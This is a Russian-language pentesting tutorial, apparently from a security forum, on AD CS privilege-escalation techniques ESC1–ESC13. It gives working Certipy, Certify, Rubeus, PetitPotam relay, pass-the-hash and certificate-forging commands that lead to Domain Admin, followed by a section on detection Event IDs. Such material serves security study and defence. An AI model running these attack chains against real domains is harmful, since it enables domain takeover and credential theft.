

Статья AD CS атаки эскалация привилегий: практический гайд по ESC1–ESC13 с Certipy

 codeby.net/threads/ad-cs-ataki-eskalatsiya-privilegii-prakticheskii-gaid-po-esc1-esc13-s-certipy.92685

April 18, 2026

Active Directory Certificate Services - компонент, мимо которого я не прохожу ни на одном внутреннем пентесте (общий контекст атак на домен - в [гайде по пентесту Active Directory](#)). За последние два года не было ни одного проекта с развёрнутым AD CS, где я не нашёл бы хотя бы одну мiskonfigурацию, ведущую к Domain Admin. Причина банальна: админы воспринимают PKI как «просто работающий сервис», а не как Tier 0 актив, требующий такого же внимания, как контроллер домена. Здесь разберу все техники ESC1–ESC13, покажу конкретные команды для эксплуатации через Certipy и Certify, и объясню, где теория расходится с реальностью на боевых проектах.

Почему AD CS - критическая поверхность атаки

Служба сертификации Active Directory разворачивает собственную PKI-инфраструктуру в доменной сети. Она выпускает сертификаты для аутентификации клиентов, шифрования, подписания кода и других задач. Шаблоны сертификатов определяют параметры выпуска: кому, на какой срок, с какими Extended Key Usage (EKU) и с какими ограничениями.

В 2021 году команда SpecterOps опубликовала whitepaper «Certified Pre-Owned», описавший восемь примитивов эскалации привилегий - ESC1–ESC8. Позже Oliver Lyak (автор Certipy) добавил ESC9 и ESC10, Sylvain Heiniger описал ESC11, Hans-Joachim Knobloch - ESC12, а Jonas Bülow Knudsen - ESC13. Каждая техника бьёт в свой класс мiskonfigураций, но результат один: сертификат, позволяющий аутентифицироваться от имени привилегированного пользователя.

С точки зрения MITRE ATT&CK вся тематика AD CS abuse маппится прежде всего на технику [Steal or Forge Authentication Certificates](#) (T1649, Credential Access). Полученный TGT далее используется через [Pass the Ticket](#) (T1550.003, Lateral Movement/Defense Evasion), а при компрометации CA - через **Golden Ticket** (T1558.001, Credential Access) и **Private Keys** (T1552.004, Credential Access).

Реальные APT-группировки активно эксплуатируют эти техники. По данным Semperis, APT29 злоупотреблял мiskonfigурациями шаблонов сертификатов для

имперсонации привилегированных учёток через SAN-поле. Группировка UNC5330 после эксплуатации CVE-2024-21887 (CVSS 9.1 CRITICAL, CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H, command injection в Ivanti Connect Secure, требует аутентификации администратора; в реальных кампаниях использовалась в цепочке с CVE-2023-46805 authentication bypass, CVSS 8.2 HIGH) использовала LDAP bind account для злоупотребления уязвимым шаблоном Windows-сертификата, создания компьютерного объекта и имперсонации Domain Admin.

Энумерация AD CS инфраструктуры с Certipy и Certify

Любой пентест AD CS начинается с разведки. Задача - найти все центры сертификации в домене, перечислить доступные шаблоны и выявить мисконфигурации.

Certipy: основной инструмент из Linux

Certipy - Python-инструмент Oliver Lyak'a, ставший стандартом для аудита AD CS из Linux-окружений. Одна команда - и полная картина перед глазами:

```
certipy find -u 'lowprivuser@domain.local' -p 'Password123' -dc-ip 10.10.10.1 -vulnerable -enabled
```

Флаг -vulnerable фильтрует только шаблоны с известными мисконфигурациями, -enabled отсекает отключённые. На выходе - JSON и TXT с полным описанием каждого шаблона: права Enroll/AutoEnroll, флаги msPKI-Certificate-Name-Flag, EKU, настройки Issuance Requirements и ACL.

Результаты можно скормить BloodHound для визуализации путей атаки. Это позволяет коррелировать данные AD CS с графом привилегий домена и находить цепочки, которые руками обнаружить тяжело.

Certify: для Windows-окружений

Когда работаем с захваченной Windows-машины, в ход идёт Certify - C#-инструмент:

```
Certify.exe find /vulnerable
```

По функциям Certify покрывает те же задачи, но работает нативно в Windows. Я часто использую оба: Certipy для первичной разведки с атакующей машины, Certify - для эксплуатации из доменного контекста.

ESC1: произвольный SAN - хлеб пентестера

ESC1 - самая распространённая и самая опасная мисконфигурация, которую я встречаю на проектах. Суть проста: шаблон сертификата позволяет

запрашивающему указать произвольное значение Subject Alternative Name (SAN) в CSR-запросе.

Условия эксплуатации ESC1

Для успешной атаки шаблон должен одновременно удовлетворять следующим требованиям:

- Непривилегированный пользователь имеет право **Enroll** на шаблон
- Флаг msPKI-Certificate-Name-Flag содержит значение CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (числовое значение 1)
- **Manager Approval** отключён (ручное одобрение не требуется)
- **Authorised Signatures** не настроены (значение 0)
- EKU содержит **Client Authentication** (1.3.6.1.5.5.7.3.2), **PKINIT Client Authentication** (1.3.6.1.5.2.3.4), **Smart Card Logon** (1.3.6.1.4.1.311.20.2.2) или **Any Purpose** (anyExtendedKeyUsage, OID 2.5.29.37.0 - мета-значение, означающее отсутствие ограничений на использование)

Эксплуатация через Certipy

Запрашиваем сертификат от имени Domain Admin:

```
certipy req -u 'lowprivuser@domain.local' -p 'Password123' \
  -dc-ip 10.10.10.1 -target ca-server.domain.local \
  -ca 'domain-CA' -template 'VulnerableTemplate' \
  -upn 'administrator@domain.local'
```

На выходе - PFX-файл с сертификатом и приватным ключом. Аутентифицируемся:

```
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
```

Certipy использует PKINIT для получения TGT, а затем выполняет **UnPAC-the-hash** - вытаскивает NT-хэш учётки из PAC в TGT. Этот хэш идёт в Pass-the-Hash через Impacket:

```
impacket-psexec -hashes :aad3b435b51404eeaad3b435b51404ee:ntlm_hash \
  administrator@10.10.10.1
```

Эксплуатация через Certify и Rubeus

На Windows-машине цепочка выглядит иначе:

```
Certify.exe request /ca:ca-server.domain.local\domain-CA
/template:VulnerableTemplate /altname:administrator
```

Сертификат сохраняется в PEM, конвертируем в PFX:

```
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider
v1.0" -export -out cert.pfx
```

Запрашиваем TGT через Rubeus:

```
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /nowrap
```

Полученный TGT в base64 - передаём в Pass-the-Ticket.

Верификация сертификата

Перед использованием убеждаемся, что SAN корректно включён:

```
openssl pkcs12 -in administrator.pfx -clcerts -nokeys -out admin.pem  
openssl x509 -in admin.pem -text -noout | grep -A1 'Subject Alternative Name'
```

Если в выводе виден UPN целевого пользователя - сертификат готов.

ESC2 и ESC3: Any Purpose и Enrollment Agent

ESC2: сертификат-универсал

ESC2 бьёт в шаблоны, где ECU содержит **Any Purpose** (2.5.29.37.0) или ECU отсутствует вообще (как SubCA). Такой сертификат становится «мастер-ключом» - годится для чего угодно: аутентификация клиента, подписание кода, Certificate Request Agent.

```
certipy req -u 'user@domain.local' -p 'Pass' -dc-ip 10.10.10.1 \  
-target ca.domain.local -ca 'domain-CA' -template 'AnyPurposeTemplate'
```

Полученный сертификат можно использовать как Enrollment Agent для ESC3.

ESC3: двухэтапная атака через Enrollment Agent

ESC3 требует двух уязвимых шаблонов. Первый даёт сертификат с ECU **Certificate Request Agent** (1.3.6.1.4.1.311.20.2.1). Второй разрешает co-signing запросов агентом и выпуск сертификата от имени другого пользователя.

Этап 1 - получаем сертификат Enrollment Agent:

```
certipy req -u 'user@domain.local' -p 'Pass' -dc-ip 10.10.10.1 \  
-target ca.domain.local -ca 'domain-CA' -template 'AgentTemplate'
```

Этап 2 - используем его для запроса за другого пользователя:

```
certipy req -u 'user@domain.local' -p 'Pass' -dc-ip 10.10.10.1 \  
-target ca.domain.local -ca 'domain-CA' -template 'UserTemplate' \  
-on-behalf-of 'domain\administrator' -pfx agent.pfx
```

На практике ESC3 попадаетея реже ESC1, но обнаружить её сложнее. Первый этап запроса выглядит абсолютно легитимно.

ESC4: перезапись ACL шаблона - цепочка в ESC1

ESC4 - моя любимая цепочка на проектах. Защитники часто проверяют конфигурацию шаблонов, но забывают про ACL на объектах шаблонов в AD. Классика.

Если непривилегированный пользователь имеет права **WriteProperty**, **WriteDacl**, **WriteOwner** или **FullControl** на объект шаблона сертификата в CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration, он может перезаписать свойства шаблона и превратить его в уязвимый для ESC1.

Цепочка ESC4 → ESC1

Шаг 1 - находим шаблон с избыточными ACL:

```
certipy find -u 'user@domain.local' -p 'Pass' -dc-ip 10.10.10.1 -vulnerable
```

Certipy отобразит шаблоны с опасными ACE в разделе [!] Vulnerabilities.

Шаг 2 - перезаписываем шаблон, делая его уязвимым для ESC1:

```
certipy template -u 'user@domain.local' -p 'Pass' -dc-ip 10.10.10.1 \  
-template 'TargetTemplate' -save-old
```

Флаг -save-old сохраняет оригинальную конфигурацию для отката. Certipy автоматически выставляет CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, добавляет ECU Client Authentication и убирает Manager Approval.

Шаг 3 - эксплуатируем как стандартный ESC1:

```
certipy req -u 'user@domain.local' -p 'Pass' -dc-ip 10.10.10.1 \  
-target ca.domain.local -ca 'domain-CA' -template 'TargetTemplate' \  
-upn 'administrator@domain.local'
```

Шаг 4 - восстанавливаем оригинальную конфигурацию:

```
certipy template -u 'user@domain.local' -p 'Pass' -dc-ip 10.10.10.1 \  
-template 'TargetTemplate' -configuration TargetTemplate.json
```

OPSEC-момент: модификация шаблона генерирует Event ID 4899/4900 на CA и Event ID 5136 на контроллере домена, так что действовать нужно быстро.

ESC5–ESC7: атаки на уровне центра сертификации

ESC5: контроль над объектами PKI в AD

ESC5 расширяет логику ESC4 на все объекты PKI в Active Directory: объект CA, объект CN=Public Key Services, NTAAuthCertificates и другие. Если атакующий получает контроль над учётной записью компьютера CA-сервера или объектом CA в AD, это может привести к полной компрометации PKI-инфраструктуры.

По данным BI.ZONE, обнаружение несанкционированной установки сертификата центра сертификации возможно через аудит изменений атрибутов объекта NTAAuthCertificates с помощью Event ID 5136.

ESC6: флаг EDITF_ATTRIBUTESUBJECTALTNAME2

ESC6 основан на флаге EDITF_ATTRIBUTESUBJECTALTNAME2, установленном на уровне CA. Этот флаг позволяет указать произвольный SAN в любом запросе, независимо от настроек шаблона.

Нюанс, о котором многие забывают: после патча KB5014754 (май 2022) начался постепенный переход к strong certificate mapping. В Compatibility Mode (по умолчанию до февраля 2025) ESC6 мог работать при определённых условиях в зависимости от StrongCertificateBindingEnforcement. Full Enforcement Mode, полностью блокирующий ESC6, включён по умолчанию с обновлениями февраля 2025. При этом на практике я до сих пор встречаю серверы без этого патча - особенно в изолированных сегментах. Проверить наличие флага:

```
certutil -getreg policy\EditFlags
```

Если вывод содержит строку EDITF_ATTRIBUTESUBJECTALTNAME2 - флаг установлен. При использовании certutil -v -getreg policy\EditFlags биты декодируются автоматически. Для ручной проверки: вывод содержит значение вида EditFlags REG_DWORD = 15014e (1376590) - проверяем через python3 -c "print(hex(1376590 & 0x00040000))", если результат не 0x0 - флаг активен.

ESC7: злоупотребление правами CA Manager

ESC7 - многоэтапная атака, требующая прав **ManageCA** или **ManageCertificates** на объекте CA. Основной вектор: атакующий с правом ManageCA может:

1. Добавить себе право ManageCertificates
2. Запросить сертификат по шаблону SubCA (запрос будет отклонён)
3. Одобрить отклонённый запрос через ManageCertificates и получить сертификат

Устаревший вариант - включение флага EDITF_ATTRIBUTESUBJECTALTNAME2 (превращая ситуацию в ESC6) - ненадёжен после включения Full Enforcement Mode strong certificate mapping (февраль 2025).

Одна из немногих техник, где атака происходит «изнутри» CA-сервера. Митигация - строгий контроль ACL на объекте CA и ограничение прав ManageCA/ManageCertificates.

ESC8: NTLM Relay на Web Enrollment

ESC8 - единственная техника из оригинального whitepaper, не требующая прямого доступа к учётным данным. Если на CA включен Web Enrollment (HTTP-эндпоинт certsrv), атакующий может выполнить NTLM relay, перенаправив аутентификацию контроллера домена на HTTP-интерфейс CA.

Цепочка атаки ESC8

1. Принуждаем контроллер домена к аутентификации (через PetitPotam, PrinterBug и т.д.)
2. Перенаправляем NTLM-аутентификацию на `http://ca-server/certsrv/`
3. Запрашиваем сертификат от имени DC

```
# Терминал 1: запуск встроенного NTLM relay server (слушает на порту 445)
certipy relay -target 'http://ca-server' -ca 'domain-CA' \
  -template 'DomainController'
```

```
# Терминал 2: принуждение DC к аутентификации на атакующую машину
python3 PetitPotam.py <attacker_ip> <dc_ip>
```

Митигация: отключить HTTP на Web Enrollment и использовать HTTPS с [Extended Protection for Authentication](#), либо полностью выключить Web Enrollment, если он не нужен.

ESC9–ESC11: пост-патчевые техники

ESC9: злоупотребление GenericWrite и слабым маппингом

ESC9 эксплуатирует ситуацию, когда атакующий имеет **GenericWrite** на учётную запись и может перезаписать атрибут `userPrincipalName`. Шаблон при этом содержит флаг `CT_FLAG_NO_SECURITY_EXTENSION`, который предотвращает включение SID запрашивающего в сертификат. Механика: 1) перезаписываем UPN жертвы на UPN привилегированного пользователя (например, `administrator@domain.local`); 2) запрашиваем сертификат по уязвимому шаблону - SID не включается из-за `CT_FLAG_NO_SECURITY_EXTENSION`; 3) восстанавливаем оригинальный UPN; 4)

аутентифицируемся с полученным сертификатом - KDC маппит по UPN без проверки SID. Требуется StrongCertificateBindingEnforcement=1 (Compatibility Mode).

ESC10: слабый маппинг сертификатов

ESC10 связан со значениями реестровых ключей на контроллере домена, отвечающих за маппинг сертификатов к учётным записям. Два случая:

Case 1 (StrongCertificateBindingEnforcement=0): KDC не проверяет SID в сертификате вообще. Любой сертификат с UPN привилегированного пользователя позволяет аутентификацию через PKINIT - аналогично ESC9, но без требования флага CT_FLAG_NO_SECURITY_EXTENSION.

Case 2 (CertificateMappingMethods содержит 0x4): Schannel-аутентификация (например, LDAPS) использует UPN mapping без проверки SID. Атака идёт через LDAPS вместо PKINIT, что расширяет вектор на сценарии, где Kerberos недоступен.

ESC11: Relay на RPC (ICertPassage)

ESC11 аналогичен ESC8, но вместо HTTP-эндпоинта Web Enrollment используется протокол ICertPassage (RPC). Если на CA не включено требование подписи пакетов для RPC, атакующий может выполнить NTLM relay на RPC-интерфейс CA. Технику описал Sylvain Heiniger.

ESC12 и ESC13: HSM и OID Group Link

ESC12: доступ к CA с HSM

ESC12, описанный Hans-Joachim Knobloch, эксплуатирует ситуацию, когда атакующий получил shell на сервер CA, а приватный ключ CA хранится в Hardware Security Module (HSM). Через CA-утилиты можно подписывать произвольные сертификаты, минуя ограничения HSM.

ESC13: OID Group Link - эскалация через пустую группу

ESC13 от Jonas Bülow Knudsen - элегантная атака, основанная на механизме Authentication Mechanism Assurance (AMA). Суть: если в шаблоне сертификата задана Issuance Policy, OID которой связан с группой AD через атрибут msDS-OIDToGroupLink, то при аутентификации с таким сертификатом пользователь временно получает членство в указанной группе.

Условия ESC13:

- Шаблон доступен для Enroll непривилегированному пользователю
- ECU содержит Client Authentication
- В Extensions → Issuance Policies указан OID
- Этот OID связан с Universal Security Group через msDS-0IDToGroupLink
- Группа имеет высокие привилегии (или входит в привилегированную группу)

Для обнаружения ESC13 можно использовать PowerShell-скрипт Check-ADCEESC13.ps1 от Jonas Bülow Knudsen, который перечисляет OID с заполненным msDS-0IDToGroupLink и соотносит их с шаблонами.

Эксплуатация через Certify:

```
Certify.exe request /ca:ca-server.domain.local\domain-CA /template:ESC13Template
```

Конвертируем в PFX и запрашиваем TGT через Rubeus:

```
Rubeus.exe asktgt /user:lowprivuser /certificate:esc13.pfx /nowrap
```

KDC, обрабатывая PKINIT-запрос, проверяет OID в сертификате, обнаруживает привязку к группе и добавляет SID этой группы в PAC билета. Верификация:

```
Rubeus.exe describe /ticket:<base64_TGT> /servicekey:<krbtgt_key>
```

Если SID целевой группы присутствует в PAC - эскалация прошла.

От сертификата к Domain Admin: пост-эксплуатация

UnPAC-the-hash

После получения сертификата через любую ESC-технику следующий шаг - вытащить NT-хэш целевой учётки. Certipy делает это автоматически через PKINIT и U2U:

```
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
```

На выходе - NT-хэш для Pass-the-Hash.

Golden Certificate (DPERSIST1)

Если скомпрометирован приватный ключ CA (через ESC5, ESC7 или ESC12), атакующий может подписывать произвольные сертификаты без обращения к CA-серверу - аналог Golden Ticket, но через PKI. Маппится на MITRE ATT&CK **Golden Ticket (T1558.001)**.

```
certipy ca -backup -u 'admin@domain.local' -p 'Pass' -dc-ip 10.10.10.1 \
  -ca 'domain-CA'
certipy forge -ca-pfx ca.pfx -upn 'administrator@domain.local' \
  -subject 'CN=Administrator,CN=Users,DC=domain,DC=local'
```

Подделанный сертификат не отображается в журналах CA - именно это делает Golden Certificate таким опасным вектором persistence.

Связь с [CVE-2022-26923](#) (Certifried)

Отдельная история - CVE-2022-26923, **Active Directory Domain Services Elevation of Privilege Vulnerability** (CVSS 8.8 HIGH, вектор CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, CWE-295). Уязвимость позволяла создать компьютерный объект с dNSHostName контроллера домена, запросить машинный сертификат по стандартному шаблону Machine и аутентифицироваться от имени DC. В отличие от ESC1, мисконфигурированный шаблон не требовался - баг был в логике маппинга dNSHostName к идентичности при выпуске сертификата. Microsoft выпустил патч, и именно после Certifried усилилось внимание к strong certificate mapping.

Обнаружение атак на AD CS

Для защитников критично включить аудит на CA-сервере - по умолчанию он выключен. Ключевые Event ID:

Event ID	Описание	Релевантные ESC
4886	Запрос на получение сертификата	ESC1, ESC2, ESC3
4887	Сертификат выпущен (для ESC13: проверять Issuance Policy OID, связанный через msDS-OIDToGroupLink)	ESC1, ESC2, ESC3, ESC13
4888	Запрос на сертификат отклонён	Все
4898	Загрузка шаблона службой CA при старте или обновлении кэша (не при каждом enrollment)	-
4899	Шаблон обновлён в кэше CA (вторичный индикатор; генерируется на CA-сервере)	ESC4 (вторичный)
4900	Изменены разрешения шаблона в кэше CA (вторичный индикатор; генерируется на CA-сервере)	ESC4 (вторичный)

5136	Изменён объект Directory Services (основной индикатор ESC4; генерируется на DC при изменении объекта шаблона через LDAP)	ESC4 (основной), ESC5
Event 39/41	Несовпадение SID при strong mapping	ESC1 (пост-патч)

Для детектирования ESC1 в SIEM нужно сопоставлять поля Requester и UPN в событиях 4886/4887 - если они не совпадают, это аномалия. По данным Black Hills Information Security, базовый KQL-запрос для Microsoft Sentinel:

```
SecurityEvent
| where EventID == 4886 or EventID == 4887
```

Дальше анализируем, совпадает ли запрашивающий (Requester) с субъектом выпущенного сертификата (UPN/SAN). Для полноценного мониторинга также нужно включить Audit Certification Services через GPO:

Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Object Access > Audit Certification Services

И активировать все типы аудита в свойствах CA через snap-in certsrv.msc → вкладка Auditing.

Сводная таблица ESC1–ESC13

Техника	Суть мисконфигурации	Инструмент	Сложность
ESC1	Enrollee Supplies Subject + Client Auth	Certipy, Certify	Низкая
ESC2	Any Purpose ECU или отсутствие ECU	Certipy	Низкая
ESC3	Enrollment Agent + второй шаблон	Certipy	Средняя
ESC4	WriteProperty/WriteDacl на шаблон	Certipy	Средняя
ESC5	Контроль над объектами PKI в AD	Вручную	Высокая
ESC6	EDITF_ATTRIBUTESUBJECTALTNAME2	Certutil	Низкая (до патча)
ESC7	ManageCA/ManageCertificates права	Certipy	Средняя
ESC8	NTLM Relay на HTTP Web Enrollment	Certipy relay	Средняя

ESC9	GenericWrite + NO_SECURITY_EXTENSION	Certipy	Высокая
ESC10	Слабый маппинг сертификатов на DC	Certipy	Высокая
ESC11	NTLM Relay на RPC (ICertPassage)	Certipy relay	Средняя
ESC12	Shell-доступ к CA с HSM	Вручную	Высокая
ESC13	OID Group Link через msDS- OIDToGroupLink	Certify, Certipy	Средняя

Практический чеклист для пентестера

Минимальная последовательность, которую я выполняю на каждом проекте: